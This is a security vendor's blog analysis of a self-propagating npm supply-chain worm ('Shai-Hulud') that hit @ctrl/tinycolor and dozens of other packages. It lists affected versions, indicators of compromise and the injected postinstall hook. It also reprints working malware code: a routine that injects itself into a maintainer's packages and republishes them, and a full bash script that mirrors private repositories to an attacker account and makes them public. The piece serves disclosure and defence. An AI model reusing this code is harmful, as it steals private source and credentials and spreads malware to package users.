npm Supply Chain Attack Exposes Private Repositories, AWS Credentials and More

SafeDep Team 10 min read

TL;DR

npm supply chain attacks continue. This time targeting @ctrl/tinycolor and multiple other npm packages with credential stealer malware. In this blog, we will analyze the attack and its impact on the npm ecosystem. We will also look at common attack patterns that are being used to target maintainers.

Lately we have observed multiple high-profile software supply chain attacks against the npm ecosystem:

These attacks target packages collectively with over 2 BILLION weekly downloads. While the payloads used in these attacks have questionable sophistication levels, the continued success of malicious actors in breaching highly popular open source packages exposes risks in the open source software supply chain, especially for software development teams shipping professional software.

There are, however, common patterns that are observed in these attacks:

  1. 2FA phishing attacks against maintainers as we saw in the eslint-config-prettier incident
  2. Maintainers of dormant packages are being targeted as we saw in the ansi-style incident and today’s incident as well.

For example, @ctrl/tinycolor did not have a release since over a year.

Summary of Malicious Payload

Credential Harvesting:

  • Generates GitHub authentication tokens using gh auth token command
  • Harvests AWS credentials from environment variables, configuration files, Web Identity Tokens, and EC2 Instance Metadata Service (IMDS)
  • Uses TruffleHog to scan the local filesystem for secrets and credentials
  • Exfiltrates all discovered credentials to an attacker-controlled webhook.site URL

Repository Compromise:

  • Injects malicious GitHub Action workflows into all repositories accessible to the compromised user
  • Copies private repositories and makes them public with the description Shai-Hulud Migration
  • Removes .github/workflows directories during the migration process to avoid detection

Self-Propagating Worm Behavior:

  • Extracts npm authentication tokens from .npmrc files
  • Identifies npm packages where the compromised user has maintainer access
  • Downloads package tarballs, injects the malicious bundle.js payload, and adds postinstall scripts
  • Automatically publishes new malicious versions of packages to npm registry
  • Increments package version numbers to ensure the malicious versions are treated as updates

How SafeDep can help?

Protect GitHub Repositories

To protect the developer community against malicious packages that are flagged by SafeDep, we built free to use SafeDep GitHub App. It can be installed with zero configuration and will scan every pull request for malicious packages.

Install SafeDep GitHub App

Protect Developer Environments

SafeDep open source tools especially vet and pmg can help protect developers from malicious packages and other open source software supply chain attacks.

The Attack

The following is the list of affected package versions as published by Socket Security:

PackageVersions
angulartics214.1.2
@ctrl/deluge7.2.2
@ctrl/golang-template1.4.3
@ctrl/magnet-link4.0.4
@ctrl/ngx-codemirror7.0.2
@ctrl/ngx-csv6.0.2
@ctrl/ngx-emoji-mart9.2.2
@ctrl/ngx-rightclick4.0.2
@ctrl/qbittorrent9.7.2
@ctrl/react-adsense2.0.2
@ctrl/shared-torrent6.3.2
@ctrl/tinycolor4.1.1, 4.1.2
@ctrl/torrent-file4.1.2
@ctrl/transmission7.3.1
@ctrl/ts-base324.0.2
encounter-playground0.0.5
json-rules-engine-simplified0.2.4, 0.2.1
koa2-swagger-ui5.11.2, 5.11.1
@nativescript-community/gesturehandler2.0.35
@nativescript-community/sentry4.6.43
@nativescript-community/text1.6.13
@nativescript-community/ui-collectionview6.0.6
@nativescript-community/ui-drawer0.1.30
@nativescript-community/ui-image4.5.6
@nativescript-community/ui-material-bottomsheet7.2.72
@nativescript-community/ui-material-core7.2.76
@nativescript-community/ui-material-core-tabs7.2.76
ngx-color10.0.2
ngx-toastr19.0.2
ngx-trend8.0.1
react-complaint-image0.0.35
react-jsonschema-form-conditionals0.3.21
react-jsonschema-form-extras1.0.4
rxnt-authentication0.0.6
rxnt-healthchecks-nestjs1.0.5
rxnt-kue1.0.7
swc-plugin-component-annotate1.9.2
ts-gaussian3.0.6

Technical Analysis

We will use @ctrl/[email protected] as the malicious sample for our analysis. SafeDep’s automated malicious package analysis engine flagged this version based on post-install script and signature match.

FieldValue
Package@ctrl/[email protected]
StatusMalicious
Analyzed at2025-09-15T20:14:35Z
Sourcehttps://registry.npmjs.org/@ctrl/deluge/-/deluge-7.2.2.tgz
SHA256bc18414929992e8e8d2211f9c51ebc7241294a1af3cfdbdd5ca417974b2dac0b

We compared version 7.2.0 and 7.2.2 to identify the malicious changes. The obvious difference was the size of the package.

deluge-7.2.0.tgz and deluge-7.2.2.tgz
❯ du -sh *
12K deluge-7.2.0.tgz
2.0M deluge-7.2.2.tgz

Subsequently, we looked at package.json changes and observed a newly introduced postinstall script in the malicious version.

Diff of package.json
diff -u package-7.2.0/package.json package-7.2.2/package.json
--- package-7.2.0/package.json 1985-10-26 13:45:00
+++ package-7.2.2/package.json 2025-09-16 01:43:28
@@ -1,6 +1,6 @@
{
"name": "@ctrl/deluge",
- "version": "7.2.0",
+ "version": "7.2.2",
"description": "TypeScript api wrapper for deluge using got",
"author": "Scott Cooper <[email protected]>",
"license": "MIT",
@@ -25,7 +25,8 @@
"build:docs": "typedoc",
"test": "vitest run",
"test:watch": "vitest",
- "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml"
+ "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml",
+ "postinstall": "node bundle.js"
},
"dependencies": {
"@ctrl/magnet-link": "^4.0.2",
@@ -83,4 +84,4 @@
"importOrderSeparation": true,
"importOrderSortSpecifiers": false
}
-}
+}

Looking at some of the strings in bundle.js, it appears to be packed with webpack.

/*! For license information please see bundle.js.LICENSE.txt */
import{createRequire as __WEBPACK_EXTERNAL_createRequire}from"node:module";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307
,308])

Payload

Observed malicious payload in bundle.js:

  • Generates a GitHub auth token using gh auth token with the current user’s credentials
  • Contains an embedded bash script that injects a malicious GitHub Action workflow into all repositories of the authenticated user
  • Contains an embedded bash script that copies private repositories using the compromised GitHub token and makes them public with the description Shai-Hulud Migration
  • Uses Trufflehog to mine secrets from the local filesystem and exfiltrate them to an attacker-controlled webhook.site URL
  • Harvests AWS credentials from environment variables, local configuration files, Web Identity Tokens, and the IMDS endpoint

Self-replicating worm like behavior

The bundle.js payload has self-replicating worm-like behavior to infect npm packages that are accessible to the authenticated user. To achieve this, the payload does the following:

  • Finds the infected user’s npm token from the .npmrc file
  • Calls https://registry.npmjs.org/-/whoami to validate the token and retrieve the username
  • Searches for packages that are accessible to the authenticated user as a maintainer
  • Downloads the package tarball, injects the bundle.js payload, and adds a postinstall script to package.json
  • Publishes the package to the authenticated user’s npm registry using the npm publish ... command

Example code:

Search npm Packages
async searchPackages(t, r = 20) {
const n = `/-/v1/search?text=${encodeURIComponent(t)}&size=${r}`,
F = `${this.baseUrl}${n}`;
try {
const t = await fetch(F, {
method: "GET",
headers: this.getHeaders(!1)
});
if (!t.ok) throw new Error(`HTTP ${t.status}: ${t.statusText}`);
return (await t.json()).objects || []
} catch (t) {
return console.error("Error searching packages:", t), []
}
}

Update Package to inject bundle.js and modify package.json

[...]
async updatePackage(t) {
try {
const ie = await fetch(t.tarballUrl, {
method: "GET",
headers: {
"User-Agent": this.userAgent,
Accept: "*/*",
"Accept-Encoding": "gzip, deflate, br"
}
});
// [...]
try {
await re.promises.writeFile(ce, se), await te(`gzip -d -c ${ce} > ${le}`), await te(`tar -xf ${le} -C ${ae} package/package.json`);
const t = ne.join(ae, "package", "package.json"),
r = await re.promises.readFile(t, "utf-8"),
n = JSON.parse(r);
if (n.version) {
const t = n.version.split(".");
if (3 === t.length) {
const r = parseInt(t[0]),
F = parseInt(t[1]),
te = parseInt(t[2]);
isNaN(te) || (n.version = `${r}.${F}.${te+1}`)
}
}
n.scripts || (n.scripts = {}), n.scripts.postinstall = "node bundle.js", await re.promises.writeFile(t, JSON.stringify(n, null, 2)), await te(`tar -uf ${le} -C ${ae} package/package.json`);
const F = process.argv[1];
if (F && await re.promises.access(F).then(() => !0).catch(() => !1)) {
const t = ne.join(ae, "package", "bundle.js"),
r = await re.promises.readFile(F);
await re.promises.writeFile(t, r), await te(`tar -uf ${le} -C ${ae} package/bundle.js`)
}
await te(`gzip -c ${le} > ${ue}`), await te(`npm publish ${ue}`), await re.promises.rm(ae, {
recursive: !0,
force: !0
})
} catch (t) {
// [...]
}
} catch (t) {
throw new Error(`Failed to update package: ${t}`)
}
}

Impact

At the time of writing, at least 650+ repositories appear to be affected by this attack, as observed in a GitHub search.

Indicators of Compromise (IOC)

  • bundle.js SHA2 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
  • GitHub repositories with description Shai-Hulud Migration example
  • HTTP requests to hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

Appendix

Manually formatted shell script from bundle.js that exfiltrates private repositories using a compromised GitHub token and makes them public with the description Shai-Hulud Migration:

migrate_script.sh
#!/bin/bash
#-----------------------------------------------------------------------
# This script is designed to migrate all private and internal GitHub
# repositories from a source organization to a target user's account.
#
# It performs the following actions:
# 1. Fetches all non-archived private and internal repositories from the SOURCE_ORG.
# 2. For each repository, it creates a new private repository under the TARGET_USER.
# 3. It then mirrors the original repository to the new one.
# 4. Crucially, it removes the .github/workflows directory during migration.
# 5. After a successful migration, it makes the new repository PUBLIC.
#
# Usage:
# ./migrate_script.sh <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>
#
# Arguments:
# SOURCE_ORG: The name of the GitHub organization to migrate from.
# TARGET_USER: The GitHub username to migrate the repositories to.
# GITHUB_TOKEN: A personal access token with 'repo' scope.
#-----------------------------------------------------------------------
SOURCE_ORG=""
TARGET_USER=""
GITHUB_TOKEN=""
PER_PAGE=100
TEMP_DIR=""
# --- Argument Validation ---
if [[ $# -lt 3 ]]; then
echo "Error: Missing arguments."
echo "Usage: $0 <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>"
exit 1
fi
SOURCE_ORG="$1"
TARGET_USER="$2"
GITHUB_TOKEN="$3"
if [[ -z "$SOURCE_ORG" || -z "$TARGET_USER" || -z "$GITHUB_TOKEN" ]]; then
echo "Error: All three arguments are required."
exit 1
fi
# Create a temporary directory for cloning repositories
TEMP_DIR="./temp$TARGET_USER"
mkdir -p "$TEMP_DIR"
TEMP_DIR=$(realpath "$TEMP_DIR")
# --- Function to make authenticated GitHub API calls ---
github_api() {
local endpoint="$1"
local method="${2:-GET}"
local data="${3:-}"
local curl_args=("-s" "-w" "%{http_code}" "-H" "Authorization: token $GITHUB_TOKEN" "-H" "Accept: application/vnd.github.v3+json")
if [[ "$method" != "GET" ]]; then
curl_args+=("-X" "$method")
fi
if [[ -n "$data" ]]; then
curl_args+=("-H" "Content-Type: application/json" "-d" "$data")
fi
curl "${curl_args[@]}" "https://api.github.com$endpoint"
}
# --- Function to retrieve all repositories from an organization ---
get_all_repos() {
local org="$1"
local page=1
local all_slugs="[]"
while true; do
local response
response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=$PER_PAGE&page=$page")
local http_code="${response: -3}"
local body="${response%???}"
if ! echo "$body" | jq empty 2>/dev/null || ! echo "$body" | jq -e 'type == "array"' >/dev/null; then
return 1
fi
local repos_count
repos_count=$(echo "$body" | jq length)
if [[ "$repos_count" -eq 0 ]]; then
break
fi
local page_slugs
page_slugs=$(echo "$body" | jq '[.[] | select(.archived == false) | .full_name]')
all_slugs=$(echo "$all_slugs" "$page_slugs" | jq -s 'add')
((page++))
done
echo "$all_slugs"
}
# --- Function to create a new repository for the target user ---
create_repo() {
local repo_name="$1"
local repo_data
repo_data=$(cat <<EOF
{
"name": "$repo_name",
"description": "Shai-Hulud Migration",
"private": true,
"has_issues": false,
"has_projects": false,
"has_wiki": false
}
EOF
)
local response
response=$(github_api "/user/repos" "POST" "$repo_data")
local http_code="${response: -3}"
local body="${response%???}"
if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
return 0
else
# Handle secondary rate limits by sleeping
if [[ "$http_code" =~ ^4[0-9][0-9]$ ]] && echo "$body" | grep -qi "secondary rate"; then
sleep 600
response=$(github_api "/user/repos" "POST" "$repo_data")
http_code="${response: -3}"
body="${response%???}"
if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
return 0
fi
fi
return 1
fi
}
# --- Function to make a repository public ---
make_repo_public() {
local repo_name="$1"
local repo_data
repo_data=$(cat <<EOF
{
"private": false
}
EOF
)
local response
response=$(github_api "/repos/$TARGET_USER/$repo_name" "PATCH" "$repo_data")
local http_code="${response: -3}"
local body="${response%???}"
if echo "$body" | jq -e '.private == false' >/dev/null 2>&1; then
return 0
else
return 1
fi
}
# --- Function to migrate a repository using git mirror ---
migrate_repo() {
local source_clone_url="$1"
local target_clone_url="$2"
local migration_name="$3"
local repo_dir="$TEMP_DIR"
if ! git clone --mirror "$source_clone_url" "$repo_dir/$migration_name" 2>/dev/null; then
return 1
fi
cd "$repo_dir/$migration_name"
if ! git remote set-url origin "$target_clone_url" 2>/dev/null; then
cd - >/dev/null
return 1
fi
# Temporarily convert to a regular repo to remove workflows
git config --unset core.bare
git reset --hard
# Remove workflows directory and commit the change
if [[ -d ".github/workflows" ]]; then
rm -rf .github/workflows
git add -A
git commit -m "Remove GitHub workflows directory"
fi
# Convert back to a bare repo for mirroring
git config core.bare true
rm -rf *
if ! git push --mirror 2>/dev/null; then
cd - >/dev/null
return 1
fi
cd - >/dev/null
rm -rf "$repo_dir/$migration_name"
return 0
}
# --- Function to process the list of repositories ---
process_repositories() {
local repos="$1"
local total_repos
total_repos=$(echo "$repos" | jq length)
if [[ "$total_repos" -eq 0 ]]; then
return 0
fi
local success_count=0
local failure_count=0
for i in $(seq 0 $((total_repos - 1))); do
local repo
repo=$(echo "$repos" | jq -r ".[$i]")
local migration_name="${repo//\//-}-migration"
local auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git"
local auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git"
echo "Migrating $repo to $TARGET_USER/$migration_name..."
if create_repo "$migration_name"; then
if migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name"; then
if make_repo_public "$migration_name"; then
echo " -> Success: Migrated and made public."
((success_count++))
else
# Still counts as a success if migration worked but public toggle failed
echo " -> Warning: Migrated but failed to make public."
((success_count++))
fi
else
echo " -> Error: Migration failed."
((failure_count++))
fi
else
echo " -> Error: Could not create target repository."
((failure_count++))
fi
done
echo "-------------------------------------"
echo "Migration Complete."
echo "Successful: $success_count"
echo "Failed: $failure_count"
echo "-------------------------------------"
return $failure_count
}
# --- Main execution block ---
main() {
# Check for required command-line tools
for tool in curl jq git; do
if ! command -v "$tool" &> /dev/null; then
echo "Error: Required tool '$tool' is not installed."
exit 1
fi
done
echo "Fetching repositories from $SOURCE_ORG..."
local repos
if ! repos=$(get_all_repos "$SOURCE_ORG"); then
echo "Error: Failed to fetch repositories from $SOURCE_ORG."
exit 1
fi
process_repositories "$repos"
}
# Run main function with provided arguments
main "$@"

Share this article

Share:

Ready to Secure Your Open Source Dependencies?

Join thousands of developers and organizations who trust SafeDep to protect their software supply chain.